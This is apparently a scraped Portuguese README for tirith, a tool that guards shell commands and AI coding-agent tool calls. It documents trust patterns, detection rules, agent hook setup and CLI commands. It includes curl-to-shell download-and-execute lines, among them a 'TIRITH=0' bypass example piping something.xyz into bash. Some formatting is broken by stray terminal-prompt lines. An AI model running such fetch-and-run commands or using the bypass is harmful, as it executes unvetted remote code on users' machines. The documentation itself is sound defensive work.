allowlist e padrões allowlist_rules correspondem apenas a URLs extraídas da entrada que aparecem na evidência de um achado. Eles nunca correspondem a texto de comando bruto, e um achado sem evidência de URL nunca pode ser suprimido por uma allowlist, então um padrão em forma de comando como launchctl list é inerte. Os padrões usam a mesma gramática que tirith trust: um padrão contendo ://, /, ?, ou # é uma correspondência exata na URL normalizada (ancorada, query e fragmento significativos); um host pontuado simples como get.docker.com corresponde a esse domínio e seus subdomínios; *.example.com é um wildcard explícito; um token simples sem ponto é uma correspondência de substring contra o texto da URL, a menos que esse token seja um sufixo público como com ou dev, caso em que é tratado como uma correspondência de domínio contra o host da URL e corresponde a todos os hosts sob ele. Inspecione o que uma política resolve com , e verifique um comando específico com .

Gerenciando confiança pela CLI

tirith trust gerencia padrões confiáveis sem editar manualmente o YAML da política. A confiança é estreita e expira por padrão: confie na coisa mais específica que funciona, e as entradas expiram após 30 dias, a menos que você opte por não.```bash

Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.

A schemeless host/path is normalized as HTTPS for exact matching.

tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

A whole domain / wildcard / bare TLD is broad, it must be opted into.

tirith trust add get.docker.com --broad --rule curl_pipe_shell

Opt out of the default TTL, and record why the entry exists.

tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries

root@kitploit:~
O **escopo** de cada entrada é classificado como `exact`, `substring`, `domain`, `wildcard` ou `bare-TLD`. Todo escopo não exato (`substring` / `domain` / `wildcard` / `bare-TLD`) requer `--broad`, portanto uma permissão abrangente é sempre uma escolha deliberada. URLs exatas usam igualdade de URL normalizada (incluindo esquema, host, porta efetiva, caminho, consulta e fragmento), nunca correspondência por substring. Todos os subcomandos suportam `--format json`. Os armazenamentos de confiança gravados por versões mais antigas do tirith continuam funcionando sem alterações; uma entrada sem TTL é tratada como permanente.

### Escalonamento e substituições de ação

Os avisos são rastreados por sessão. Se a mesma regra disparar repetidamente, as regras de escalonamento podem elevar para um bloqueio:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

Revise os avisos acumulados a qualquer momento:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing

root@kitploit:~
Ao sair do shell, um resumo de uma linha é impresso se algum aviso tiver sido registrado durante a sessão.

Mais exemplos em [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).

### Regras de detecção personalizadas

Crie suas próprias regras em `.tirith/policy.yaml` sob `custom_rules:`. Cada regra é um `pattern:` (regex) ou uma árvore de predicados semânticos `when:`, além de um `context:` (`exec`, `paste` ou `file`), um `severity:` e um `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

O DSL when: combina all: / any: / not: sobre predicados como command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation e file.path_matches. Os predicados de reputação leem a base de dados de ameaças assinada local, pelo que uma regra personalizada continua a não fazer qualquer chamada de rede no caminho crítico. Valide e faça dry-run antes de fazer commit:```bash tirith rule validate # check every custom rule: shape + context coverage tirith rule test --rule no_internal_pastebin --input "echo hi | bash" tirith rule explain --rule no_internal_pastebin

root@kitploit:~
### Mais controles de politica

Outras chaves de politica, todas com padroes seguros (`tirith policy init` grava o conjunto totalmente comentado):

- Limiares de `package_policy:` transformam sinais de cadeia de suprimentos em veredictos de bloqueio ou aviso (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` correspondem a origem do chamador de um comando (`{ kind, name }`); uma correspondencia `deny` forca um bloqueio. `scan.trusted_mcp_servers` e `scan.mcp_allowed_tools` aceitam servidores MCP especificos e ferramentas por servidor.
- Guardas opt-in, desativadas por padrao: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, alem de `iac_require_plan_before_apply`, `sudo_require_reason` e `allowed_install_domains`.

Arquivos `.tirith/policy.yaml` com escopo de repositorio so podem restringir, nunca enfraquecer: uma politica de repositorio que tenta ampliar uma allowlist, reduzir uma severidade ou desativar uma guarda e neutralizada, e `tirith policy effective` mostra quais campos foram descartados. Apenas politicas de nivel de usuario e de nivel organizacional (`TIRITH_POLICY_ROOT`) podem relaxar um padrao.

### Modo de aviso estrito

Com `strict_warn: true` (ou `--strict-warn` na CLI), descobertas de risco medio solicitam confirmacao explicita em terminais interativos em vez de apenas avisar silenciosamente:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Shell hooks usam o código de saída 3 para o protocolo warn-ack. Hooks antigos que não conhecem o código de saída 3 recorrem ao comportamento fail-open.

[!NOTE] O código de saída 3 é o caminho do protocolo warn-ack do hook, não o contrato normal da CLI direta. Chamadores que não são hooks normalmente não devem ver o código de saída 3; se o virem, isso indica que é necessário reconhecimento.

Bypass

Para o caso raro em que você sabe exatamente o que está fazendo:```bash TIRITH=0 curl -L https://something.xyz | bash

root@kitploit:~
Este é um prefixo padrão de shell por comando; a variável existe apenas para esse único comando e não persiste na sua sessão. As organizações podem desativá-la completamente com `allow_bypass_env: false` na política.

> [!CAUTION]
> `TIRITH=0` é por comando. Não o exporte em perfis de shell, dotfiles ou configuração de CI; um bypass permanente anula todo o modelo de proteção. Se você se pegar recorrendo a ele com frequência, adicione a fonte confiável ao `allowlist` no seu arquivo de política.

---

## Tratamento de dados

Log de auditoria JSONL local em `~/.local/share/tirith/log.jsonl`:
- Timestamp, ID de sessão, ação, IDs de regra, prévia do comando com dados sensíveis removidos
- Dados brutos de detecção (`raw_action`, `raw_rule_ids`) preservados junto à ação aplicada para auditoria de cobertura
- Estado de aviso da sessão em `~/.local/state/tirith/sessions/`
- **Nenhum** comando completo, variável de ambiente ou conteúdo de arquivo

Desativar: `export TIRITH_LOG=0`

---

## Documentação

- [Referência de comandos](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): cada subcomando, agrupado por categoria
- [Matriz de capacidades](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): cobertura por comando (o que o tirith inspeciona e se a política o governa integralmente)
- [Cobertura de aplicação](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): registro por capacidade separando detecção, decisão de pré-execução, aplicação de execução, contenção e atestação
- [Modelo de ameaças](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md), contra o que o tirith defende e contra o que não defende
- [Cookbook](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md), exemplos de políticas para configurações comuns
- [Solução de problemas](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md), peculiaridades de shell, latência, falsos positivos
- [Compatibilidade](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md), superfície estável vs experimental
- [Notas de versão 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md), o que a versão de patch atual altera, e as [notas de versão 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) para os destaques, limitações e contrato de publicação da linha 0.4
- [Checklist de release](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md), sequência de publicação protegida e verificação de registro
- [Política de segurança](https://github.com/sheeki03/tirith/blob/main/SECURITY.md), relato de vulnerabilidades
- [Desinstalação](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md), remoção limpa por shell e gerenciador de pacotes

Guias de recursos:

- [Guarda de comandos Web3](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (a política `web3_guard`, as três regras Web3 e os bindings do command-card v2)
- [Envelope de tarefa](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (proveniência de tarefa não confiável, a política `task_gate` e a ferramenta MCP de prévia)
- [Projetos não confiáveis](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (o fluxo de trabalho "alguém me enviou um repositório")
- [Fluxo de artefatos de CI](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (envenenamento de artefatos de build entre workflows)
- [Auditoria de extensões de navegador](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (auditoria de integridade somente leitura da família Chromium)
- [Recibo de proveniência npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`, e exatamente o que ele não vincula)
- [Recibos de atestação](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (recibos de build e implantação em um ponto no tempo)
- [Implantação e reversão](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (ativação escalonada, gatilhos e o playbook de reversão)
- [Governança de agentes](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (atribuição de origem do chamador e `agent_rules`)
- [Filtro de saída MCP](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (o gateway e o contrato de sanitização de saída MCP)
- [Modos do Doctor](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (completo vs `--quick`, e o esquema de snapshot JSON)
- [Perfis de LSP e editor](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (diagnósticos inline no editor)
- [Mensagens nativas do navegador](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (host e extensão de proveniência da área de transferência)
- [Proveniência de colagem](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (a regra `paste_source_mismatch`)
- [Formatos de canário](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (formatos sintéticos de honeytoken)
- [Integração com prompt](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (conectando `tirith prompt-status` ao seu prompt de shell)

## Licença

**A cobertura de segurança principal é distribuída na árvore de código aberto.** Todas as 244 regras de detecção e o servidor MCP estão disponíveis a partir do código-fonte. O repositório ainda contém caminhos legados de licenciamento e de servidor de políticas, então evite presumir que todo caminho de execução já esteja livre de camadas.

O tirith tem licença dupla:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), livre sob termos de copyleft
- **Comercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), se as obrigações de copyleft da AGPL não funcionarem para o seu caso de uso, entre em contato com [email protected] para licenciamento alternativo

Atribuições de dados de terceiros em [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).

## Histórico de estrelas

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)
Baixar ferramenta
$PATH
tirith browser
HostSetupCamada de proteção instalada pelo setupEscopo
Claude Codetirith setup claude-code --with-mcpBloqueio PreToolUse; MCP opcionalPadrão do projeto ou usuário
Clinetirith setup clineBloqueio PreToolUse em POSIX e PowerShell, além de MCP; o host executa a ferramenta se o processo de hook falharSomente usuário; hooks devem estar habilitados no Cline
OpenAI Codextirith setup codexGateway MCP; guarda zsh não interativa opcional com --install-zshenvSomente usuário
GitHub Copilot CLItirith setup copilot-cliHook de bloqueio preToolUseSomente projeto; execute a partir da raiz do repositório
Continuetirith setup continueSomente MCPSomente projeto
Cursortirith setup cursorHook beforeShellExecution mais gateway MCP; guarda zsh opcionalPadrão do projeto ou usuário
Vercel Labs fxtirith setup fxSomente MCPSomente perfil de usuário confiável
Gemini CLItirith setup gemini-cli --with-mcpBloqueio BeforeTool; MCP opcionalPadrão do projeto ou usuário
Grok Buildtirith setup grok-buildPreToolUse POSIX mais MCP; o host pode falhar aberto em erro/timeout de hookPadrão do projeto ou usuário
Kiro CLItirith setup kiroHook de bloqueio preToolUse com escopo de agentePadrão do projeto ou usuário; o agente habilitado para Tirith deve estar carregado
OMP / Oh My Pitirith setup ompGuarda de bloqueio tool_call mais MCPSomente usuário/perfil
OpenClawtirith setup openclawPlugin de bloqueio before_tool_callPadrão do projeto ou usuário
OpenCodetirith setup opencodeSomente MCPPadrão do projeto ou usuário
OpenHands CLItirith setup openhandsHook pre_tool_use POSIX mais MCP de usuário; o host pode falhar aberto em erro de hookPadrão do usuário; hook de projeto também suportado
Pi CLItirith setup pi-cliExtensão de bloqueio tool_callPadrão do projeto ou usuário
Prime Agenttirith setup prime-agentGuarda de bloqueio bash/IPython mais MCPSomente usuário
Roo Codetirith setup roo-codeSomente MCPSomente projeto
VS Codetirith setup vscodeHook de workspace mais gateway MCP; guarda zsh opcionalSomente projeto
Windsurftirith setup windsurfHook pre_run_command mais gateway MCP; guarda zsh opcionalSomente usuário
ComandoO que faz
tirith check -- <cmd>Analisa um comando sem executá-lo (--suggest adiciona remediação e, quando verificado, uma reescrita mecânica restrita)
tirith pasteVerifica o conteúdo colado (chamado automaticamente pelos hooks do shell)
tirith scan [path]Escaneia arquivos, diretórios e configurações (--profile, --format sarif, --ci)
tirith run [--capsule] <url>Inspeciona um script remoto (--no-exec no Unix); a execução ao vivo no Linux é contida e fail-closed por padrão, usando os bytes exatos revisados de um descritor anônimo selado (--capsule é uma grafia de compatibilidade legada)
tirith fix -- <cmd>Aplica interativamente uma reescrita verificada de pipe-runner fail-closed quando disponível; caso contrário, mostra orientação
tirith score <url> / diff <url>Detalha os sinais de confiança de uma URL, ou mostra onde caracteres suspeitos se escondem
tirith explain --rule <id> / whyDocumentação de regras e remediação, ou explica o último acionamento
tirith status / doctorVocê está protegido? Diagnostica instalação, hooks e política (--fix, --quick)
tirith setup <tool> / initConfiguração de ferramenta de IA com um comando, ou imprime o hook do shell
tirith policy {init,validate,test}Estrutura, valida e simula sua política
tirith trust {add,list,remove}Gerencia padrões confiáveis (escopo restrito, TTL de 30 dias por padrão)
tirith threat-db updateBaixa e verifica o banco de dados de ameaças assinado
tirith package risk <eco> <name>Pontua o risco de supply-chain de um pacote
tirith ecosystem scan [path]Pontua cada dependência declarada em um projeto
tirith package inspect --artifact <wheel>Inspeciona os bytes exatos de um artefato Python, hooks de inicialização, código nativo, integridade do RECORD e cadeias de execução entre wheels
tirith pkg {approve,install,verify-env}Aprova, fixa por hash, contém, instala e verifica pacotes Python em hosts Linux x86_64 suportados
tirith mcp {lock,verify}Fixa e controla os servidores MCP de um repositório
tirith gateway runFaz proxy de um servidor MCP upstream e aplica os limites configurados de requisição/saída
tirith daemon startDaemon em segundo plano para verificações mais rápidas (Unix)
ComandoO que faz
tirith task checkPré-visualização. Avalia um envelope de tarefa não confiável (corpo de issue, PDF, página web) e relata quais efeitos seriam permitidos. Não executa nada e não interrompe nada
tirith capsule run --preset untrusted-projectCopia um projeto não confiável para um diretório efêmero retido e executa um argv exato em uma cápsula fail-closed. Aplicável apenas em Linux x86_64; qualquer outro host recusa antes que qualquer coisa seja copiada ou iniciada
tirith browser auditAuditoria de integridade somente leitura de árvores de código-fonte de extensões da família Chromium instaladas, com detecção de desvios em relação a uma linha de base assinada
tirith pkg attest-npmSolicita ao próprio npm do projeto que verifique as assinaturas de registro de seus pacotes instalados, vinculadas ao lockfile e à árvore de instalação exatos
tirith attest {build,verify-build,deployment,verify-deployment}Recibos pontuais sobre duas árvores e sobre rotas implantadas. Não é uma alegação de build reproduzível, nem monitoramento contínuo
tirith paste
não
  • Sem reescrita de comandos: o tirith nunca modifica o que você digitou. --suggest e explain --fix imprimem um comando separado para você executar; eles nunca substituem um.
  • Sem telemetria: sem analytics, sem relatórios de falhas, sem comportamento de phone-home.
  • Sem processos em segundo plano de longa duração por padrão: o tirith é invocado por comando e sai imediatamente. A atualização do banco de ameaças acima é uma atualização desanexada de curta duração, não um processo residente. O tirith daemon start opcional é o único processo residente, e é opcional.
  • Rede apenas em superfícies documentadas: run, fetch e audit report --upload acessam a rede apenas por invocação explícita; check usa as fontes de ameaças de runtime configuradas e a atualização do banco de ameaças segue o cronograma acima. O modo daemon adiciona resolução de URL com reconhecimento de rede, e integrações opcionais de webhook / servidor de políticas podem fazer requisições de saída quando configuradas. --offline / TIRITH_OFFLINE=1 desativa todo produtor de rede no caminho crítico do check, tanto no modo daemon quanto no inline.
  • Guarda de egresso em fetches. tirith run, fetch --save e command-card fetch recusam hosts privados, de loopback e de metadados de nuvem por padrão, e um guarda SSRF reverifica o DNS no momento da conexão e em cada salto de redirecionamento. Para alcançar um serviço interno específico, defina TIRITH_PRIVATE_FETCH_ALLOW como uma lista separada por vírgulas de nomes de host exatos, IPs privados ou CIDRs privados delimitados (por exemplo, registry.internal,10.42.0.0/24). O switch legado amplo TIRITH_ALLOW_PRIVATE_FETCH=1 não é aceito. Endpoints link-local, de uso especial e de plano de controle/credenciais de nuvem permanecem bloqueados mesmo quando um host é aprovado. Observe o que uma entrada de hostname concede: esse nome é aprovado para qualquer coisa que ele resolva dentro do espaço de uso privado e loopback, incluindo 127.0.0.1, porque a resolução não faz parte da decisão de confiança. Prefira uma entrada CIDR quando você quer dizer uma faixa de endereços fixa, e use um hostname apenas quando o próprio nome é o que você confia.
  • tirith policy effective
    tirith policy test '<command>'